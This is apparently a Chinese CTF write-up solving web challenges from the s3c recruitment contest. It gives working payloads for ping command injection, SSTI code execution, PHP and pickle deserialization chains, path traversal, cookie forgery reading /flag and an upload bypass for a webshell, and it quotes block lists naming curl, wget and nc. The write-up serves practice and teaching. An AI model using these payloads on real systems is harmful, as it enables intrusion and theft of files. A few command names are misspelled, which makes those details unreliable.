加载中...

s3c招新赛WP


S3c比赛WP

[TOC]

前言:第三场比赛,本人比较喜欢记录,但可能因为懒,wp不是那么的详细,不懂的欢迎随时来问我!本次做了web和misc方向!

web


EsayPHP

1
2
3
4
5
6
7
8
9
 <?php
error_reporting(0);
// ‮⁦CTFer⁩⁦Hello
if ("admin" == $_GET[username] &‮⁦+!!⁩⁦& "‮⁦CTF⁩⁦s3cctf" == $_GET[‮⁦S3c⁩⁦password]) { //Welcome to
include "flag.php";
echo $flag;
}
show_source(__FILE__);
?>

打开记事本,如下图:

特殊url字符匹配,去掉符号的url编码,然后按照传参数顺序即可

payload如下:

1
?username=admin&%e2%80%ae%e2%81%a6S3c%e2%81%a9%e2%81%a6password=%e2%80%ae%e2%81%a6CTF%e2%81%a9%e2%81%a6s3cctf

南京殇1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
$ip=$_GET['IP'];

if(preg_match("/\*|\||\[|\]|\(|\)|\{|\}|\-/i",$ip))
{
die(' 里在干神魔? ');
}
if(preg_match("/eval|bash|base/im",$ip))
{
die(' ???? ');
}


system('ping -c 2 '.$ip);
PING 127.0.0.1 (127.0.0.1): 56 data bytes
1
payload :127.0.0.1&ls       然后127.0.0.1&cat ardiy.php

南京殇2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
世上的事都是人堆砌起来的,又被人纷纷撇扬了去,漫不经心...浑不知这是历史。
我行走在现在,又行走在历史,分分钟编程人人揣测的虚影子。
笔记最后她写道 想知道我的真心么
<?php
include('2.php');
echo '<br /> ';
$x=$_GET["X"];
$y=$_POST["Y"];
if(preg_match("/[a-d]|[f-z]/im",$x))
{
die(' 她已将真心封藏,到底多少热情的碰撞才能唤醒这份... ');
}
if(preg_match("/curl|wget|nc/im",$x))
{
die(' no RCE ');
}
if (!isset($x)) {
echo $A ;
echo '<br />';
}
else
if($x==md5($x))
{
echo $C;
echo '<br />';

echo $D;
echo '<br />';
if(isset($y))
{
if(preg_match("/[1-9]|[a-z]/im",$y))
{
die(' hack go away ');
}
else
{
system("cat ".$y.".php");
}
}
}else {echo $B;}
highlight_file(__FILE__);
?>

通过代码审计可知,x的值==MD5后x的值,因为是弱比较,php的特性又是0e后不加数字就截断,所以只要保证x=0exxxx,md5(x)=0exxxx,即可 0==0,绕过!y的值先试试/*,看到flag in 1.php!数字1又被过滤了?这…..,然后想到../是当前目录 ../**/ 又表示列出当前目录所有文件,F12读取源码即可!

一句话木马

1
2
3
payload:111=include('/flag.txt');var_dump(get_defined_vars()); 这是一种命令执行姿势!

​ 111=include('/flag.txt'); 111=include('/flag.txt');echo $flag; 111=system('cat /flag.txt');

Sc网盘

F12源码是SQL注入,并且输入用户名给出是admin,注入密码,直接万能密码

welcome_to_s3c

进入的页面加载就有,直接复制即可

flag给你了

让我用PUT提交一个s3c,直接BP抓包,然后通过PUT传参或者在post的位置直接输入s3c,拿到flag

题目说一半已经给了,一半你要自己找正好对应一个1ndex.php和index.php两个网页,每个一半flag!

s3c{W0w_y0U_goT_tW0_f1ags!}

ezupload(同彩蛋黑客入侵)

题目只能上传图片类型的文件,但我们得上传一个php文件才能远程连接蚁剑!故只需要在传文件的时候BP抓包,然后

1
修改文件名为:66.PphpHP%00的url解码.jpg即可绕过

没有对象就new一个叭

1
2
3
4
5
6
7
8
9
10
<?php
error_reporting(0);
highlight_file(__FILE__);

if ( isset($_GET["s3c"]) && isset($_GET["obj"]))
{
$s3c = $_GET["s3c"];
$obj = $_GET["obj"];
echo new $obj($s3c);
}

一眼顶针,用PHP内置原生类来做

步骤1:读取目录的文件有哪些
1
?obj=Filesystemlterator&s3c=.(.代表当前目录)    扫描出文件f14gggggggggg.php
步骤2:读取文件内容

由于直接读取f14gggggggggg.php由于位数闲置读取不行,故使用伪协议!payload如下

1
?obj=SplFileObject&s3c=php://filter/convert.base64-encode/resource=f14gggggggggg.php

CTFer的礼物

通过页面的名字,gift=233,让我进入url/get.php,页面没什么东西,F12源码看

1
md5碰撞,这里我们采用数组直接绕过的方式:url/get.php?S3C[]=1&CTF[]=2     得到flag!

EZpython

让我们 nc 139.224.221.75 34251

一眼python命令执行,os模块输出!拿到flag

解压小游戏

直接查看far.js里看到源码

EZssti

首先登录界面,结合题目,我们可以判断出是SSti注入!我会在另一篇文章详细介绍!所以这里简单介绍下思路!

步骤1:读取所有类
1
2
{{''.__class__.__mro__.__getitem__(1).__subclasses__()}}   我用的
{{url_for.__globals__}} 另个大佬的

通过浏览器的ctrl+f搜索,确定了warnings.catch_warnings类的位置在133,这个类内置eval函数可以利用!

然后这题过滤了[],flag,config等!try,again的回显表示payload不对。

步骤2:读取子类,方便后续
1
{{''.__class__.__bases__.__getitem__(0)}}    确定了子类的位置在0,返回了<object>
步骤3:构造payload:绕过[]即可
1
{{().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(133).__init__.__globals__.__getitem__('__builtins__').__getitem__('eval')('__import__("os").popen("cat /f*").read()')}}

从读取子类后面开始,payload为固定内容,所以其实很简单!

RandomNumber

进入题目,

盲猜是php种子随机数,毕竟没有真正的随机数!所以用GitHub的工具在kali进行爆破。具体操作如下:

步骤1:爆破种子
1
在工具文件打开终端输入:     ./php_mt_seed 给的随机数     即可爆破出种子
步骤2:生成伪随机数

这里补充个常识:种子一般是0-100的,所以直接用这个范围里的就行了,然后取屏幕里第三个数的下一个数即可!

EZPOP

非常简单的一道pop链子题,完全就是考对魔术方法的理解,进入界面,看源码。

步骤1:代码审计
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
 <?php
highlight_file(__FILE__);

class p{
public $too;
public function __toString()
{
$this->too->three;
return 'w3lc0me_to_S3c';
}

}

class q{
public $amo;
public $read;
public function __destruct()
{
if($this->read==='next'){
echo $this->amo;
}
}
}


class d{
public $io;
public function __get($name)
{
($this->io)();
}

}

class b{
public $iu;
public function __call($name, $arguments)
{
echo "you_are_sUccessssd";
echo file_get_contents("/flag");
}

}

class r{
public $hh;
public function __invoke()
{
$this->hh->zxxxxxxxrrrrr();
}
}

$a = $_GET['payload'];
unserialize($a);
步骤2:构造链子 从后往前找

第一步:

第二步:

第三步:

第四步:

第五步:

payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php 
class p{
public $too;
}
class q{
public $amo;
public $read='next';
}
class d{
public $io;

}
class b{
public $iu;
}
class r{
public $hh;}
$payload=new q();
$payload->amo = new p();
$payload->amo->too=new d();
$payload->amo->too->io=new r();
$payload->amo->too->io->hh=new b();
echo serialize($payload);
?>
//O:1:"q":2:{s:3:"amo";O:1:"p":1:{s:3:"too";O:1:"d":1:{s:2:"io";O:1:"r":1:{s:2:"hh";O:1:"b":1:{s:2:"iu";N;}}}}s:4:"read";s:4:"next";}

So_Easy

考点:绕过$_SESSION变量,由于没给赋初值,它是一个固定的数,但我们不知道,查了百度,如下

步骤1:输出$_SESSION的值
1
var_dump( @md5($_SESSION['flag']));        得到初始值

步骤2:绕过下面的反序列化
1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
error_reporting(0);
$test='';
$test=array("user"=>admin,"password"=>hahahahahahaha);
echo var_dump($test);
echo var_dump(serialize($test));

$test1='';
$test1=array("user"=>admin,"password"=>hahahahahahaha);
echo var_dump($test1);
echo var_dump(serialize($test1));
//#s3c{Y0u_mUst_bE_An_exceLLent_CTFer} 在线数组对应生成反序列化模板!学习
?> //原理,可以自己百度下PHP语法,试下构造数组对应

readMMMEEE

考点:路径读取问题。 实在懒得复现了,这题真不难。。。!

访问给的路径,但我们知道图片后面不能再切换目录了,所以只能在参数下手!

构造payload:/cancanneed?img=../../../flag 网页源码无法查看,直接BP抓包输入得到flag回显

DJ_Diary

考点:cookie伪造,代码审计

思路:修改cookie的name的值,变为可利用的参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php
highlight_file(__FILE__);
function img2b64($image) {
return 'data:jpg;base64,'.base64_encode(file_get_contents($image));
}

function get_img_contents() {
$results = [];

if (empty($_COOKIE['cache'])) {

$images = glob('images/*.jpg');
$expiry = time() + 60*60*24*7;

foreach($images as $image) { //这里的$image为上面glob函数的每张图片的值,无法控制
$text = preg_replace('/\\.[^.\\s]{3,4}$/', '.txt', $image);
$description = trim(file_get_contents($text));
array_push($results, array(
'name' => $image,
'description' => $description
));
$_SESSION[$image] = img2b64($image);
}

$cookie = array('data' => $results, 'expiry' => $expiry);
setcookie('cache', json_encode($cookie), $expiry);

} else {

$cache = json_decode($_COOKIE['cache'], true);
if ($cache['expiry'] <= time()) {

$expiry = time() + 60*60*24*7;
for($i = 0; $i < count($cache['data']); $i++) {
$result = $cache['data'][$i];
$_SESSION[$result['name']] = img2b64($result['name']);
}

$cookie = array('data' => $cache['data'], 'expiry' => $expiry);
setcookie('cache', json_encode($cookie), $expiry);

}

return $cache['data'];

}

return $results;
}
?>
步骤1:代码审计

第一个for循环的$image并不可控,所以我们采用第二个循环 expiry的值小于time,并且cookie为一个数组data一个,expiry一个

步骤2:构造payload:

{“data”:[{“name”:”xxx”,”description”:”\u829d\u58eb\u96ea\u8c79”}],xxxx的值可控并利用,所以我们只需要根据提示构造即可!

{“data”:[{“name”:”/flag”,”description”:”\u829d\u58eb\u96ea\u8c79”}],”expiry”:1667432089}url编码即可

白给皮卡丘

考点:pickle反序列化

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#!/usr/bin/env python
# -*- coding:utf-8 -*-
# author:l0sE2
# datetime:2022/10/23 11:54
# software: PyCharm
import base64
import pickle
import pickletools
from flask import Flask, session,request
import secretflag
app = Flask(__name__)
app.config['SECRET_KEY'] = 'S3C'
class Hello():
def __init__(self):
self.DOUWANTFLAG = 'no'
self.user ='MY FRIEND'
def say__HI(self,whoareU):
self.user = whoareU

class FALG():#你这flag不保熟啊
def __init__(self):
self.flag = 'fl0g{ni_yao_bu_yao_ba}'
def pikapika(self,pika):
hell = pickle.loads(pika.replace(b'\u005cn', b'\n'))
if hell.DOUWANTFLAG == 'yes' :
return secretflag.realflag //判断读取flag的条件,覆盖原来的DOUWANTFLAG值
else:
return self.flag

@app.route('/')
def hello_world():
hello = Hello() //实例化类
if not request.args.get('user'):
return 'Hello {}! 只有真正渴望获得flag的ctfer才能成功'.format(hello.user)
else:
flag = FALG()
G3T = request.args.get('user') //传user的值
print(G3T)
if 'R' in G3T or 'i' in G3T or 'o' in G3T or 'b' in G3T:
return 'R i o b is forbidden! but your payload:{}! '.format(G3T) //禁用了一些非预期解 R代码的利用
hello.say__HI(G3T) //输出user的值 例如?user=1 回显hello,1
pickle_hello = pickle.dumps(hello, protocol=0)
pickle_hello = pickletools.optimize(pickle_hello)
F = flag.pikapika(pickle_hello)
return 'Hello {}!here is your flag<br/>{}!'.format(G3T,F)

if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)
步骤1:代码审计

我们试着传入user=1

有回显,输出了FLAG类里的self.flag变量值,显然,这并不是我们要的flag!

很明显,我们只要满足以下条件:即可调用secretflag模块的函数读取flag!

1
2
if hell.DOUWANTFLAG == 'yes' :
return secretflag.realflag //判断读取flag的条件,覆盖原来的DOUWANTFLAG值

但问题又来了,我们怎么改变原有的变量值呢?

这里就不得不说pickle序列化神奇的地方:只需要在传入参数的位置修改以下即可

例子:?user=1\nsVDOUWANTFLAG\nVyes

Time_Controller

考点:data命令,escapeshellcmd()函数转义

data -f 读取文件的命令

escapeshellcmd()函数会对一些命令进行转移,这里可以百度一下,这题直接format传参即可试试哪些字符转移,转移后的样子

查看时间,发现可以直接执行data %H:%M:%S

在通过提示:试试-f读取 data -f /etc/passwd发现不行

加个引号试试 data ‘-f /etc/passwd’发现可以!flag在根目录,data ‘-f /flag’即可拿到flag!


文章作者: Wuhen
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Wuhen !
评论
  目录